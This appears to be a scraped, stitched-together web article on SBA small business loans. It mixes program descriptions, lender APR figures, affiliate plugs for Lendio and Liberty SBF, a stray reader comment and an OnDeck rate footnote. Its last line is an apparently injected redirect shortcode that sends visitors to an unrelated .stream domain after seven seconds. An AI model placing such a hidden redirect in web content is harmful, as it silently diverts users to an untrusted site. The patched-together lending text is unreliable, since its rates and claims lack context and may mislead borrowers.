In 2005, SBA Inspector General Report 5-15 stated, “One of the most important challenges facing the Small Business Administration and the entire Federal government today is that large businesses are receiving small business procurement awards and agencies are receiving credit for these awards.”
The Small Business Administration (SBA) is a United States government agency that provides support to entrepreneurs and small businesses. The mission the Small Business Administration is “to maintain and strengthen the nation’s economy by enabling the establishment and viability of small businesses and by assisting in the economic recovery of communities after disasters”. The agency’s activities are summarized as the “3 Cs” of capital, contracts and counseling.
• Rural Lender Advantage Program These loans are designed to promote the economic development in rural communities, in particular communities that are losing population, have high unemployment, or are losing industries.
SBA Military Reservists Economic Injury Loans (MREIDLs): Short- to medium-term working capital loans to help businesses that lose an essential employee due to being called-up for active military service meet normal operating expenses.
Under the Community Advantage Program, the SBA offers the same expedited application and approval process that comes with an SBA Express loan but will guarantee 85% of the loan for loans up to $250,000. This further reduces the risk to lenders, thereby increasing a lender’s appetite to make the loan under the SBA Express program. More information and a list of Community Advantage lenders can be found on the SBA’s website.
After determining that your business meets the qualifications, you need to apply for a commercial loan from a financial company that processes SBA loans since the SBA doesn’t provide loans directly. The bank’s qualifications can be more stringent.
One of the most popular uses of SBA loans is commercial mortgages on buildings occupied or to be occupied by small business. These programs are beneficial to small business because most bank programs frequently require larger down payments and/or have repayment terms requiring borrowers refinance every five years. They can be beneficial to the bank in that banks can reduce risk by taking a first-lien position for a smaller percentage of the project, then arranging for a SBA Certified Development Company to finance the remainder through a second-lien position.
The Cost of Credit After you have gone through the application process and you are approved, you need to still make some important decisions. Understanding the true cost of credit can be confusing. Choosing between the available loan products can greatly affect the amount of the total or true cost of your business loan.
• Your business may need to meet other criteria depending on the type of loan. The SBA has a variety of loan guarantee programs for different purposes. These are explained below. Make sure to check the qualifications for the particular loan you want to determine your eligibility before applying.
For example, SmartBiz, an online lender that specializes in SBA loans, offers APRs of 8.27% to 9.57% for regular 7(a) loans and 6.36% to 6.41% for its 7(a) commercial real estate loans. Live Oak Bank, established in 2007, offers SBA loans with APRs of 5.75% to 7.75%.
The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.
*Annual Percentage Rates (APR), loan term and monthly payments are estimated based on analysis of information provided by you, data provided by lenders, and publicly available information. All loan information is presented without warranty, and the estimated APR and other terms are not binding in any way. Lenders provide loans with a range of APRs depending on borrowers’ credit and other factors. Keep in mind that only borrowers with excellent credit will qualify for the lowest rate available. Your actual APR will depend on factors like credit score, requested loan amount, loan term, and credit history. All loans are subject to credit review and approval.
Late payment fee: This fee is self- explanatory-it’s charged when a loan payment is made past its due date. A late payment fee may be either a flat fee, frequently around $10 to $35, or a percentage of the payment amount or outstanding balance (often 2% – 5%).
It’s important that those who are applying and obtaining a loan get the right one. Great job laying out and discussing the different types of SBA Loans. I’m sure that many people will find this post helpful.
If you’re worried about qualifying for a loan, don’t. While traditional lenders only approve a quarter of small business loans, lending marketplaces like Lendio approve more than 60%. That doesn’t mean you can drag your credit score through the gutter and walk away with copious amounts of financing – but it does mean that you don’t have to be perfect to qualify for a variety of solid loan options.
The top SBA lenders in the country are currently Wells Fargo, Chase, and Huntington Bank. Between them, they’ve done over 9,500 SBA 7(a) loans totaling more than $2.8 billion in 2017. Many other banks and credit unions offer SBA 7(a) loans.
If you’re in the market for commercial real estate and will occupy at least 51% of the space, you may be a good candidate for an SBA 504 loan. We recommend working with Liberty SBF for SBA 504 loans. If you have a credit score above 680 (check here for free), you’ve been in business 3+ years, are profitable, and need more than $500k, speak with Liberty SBF today.
¹Eligibility for the lowest rates is very limited, available only to businesses with the strongest creditworthiness and cash flows, and typically businesses that have shown an excellent payment history on prior loan products with OnDeck. The weighted average rate for term loans is 24.6% simple interest and 42.5% AIR; weighted average for lines of credit is 32.1% APR. Weighted averages are based on loans originated in quarter ending June 30, 2017. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]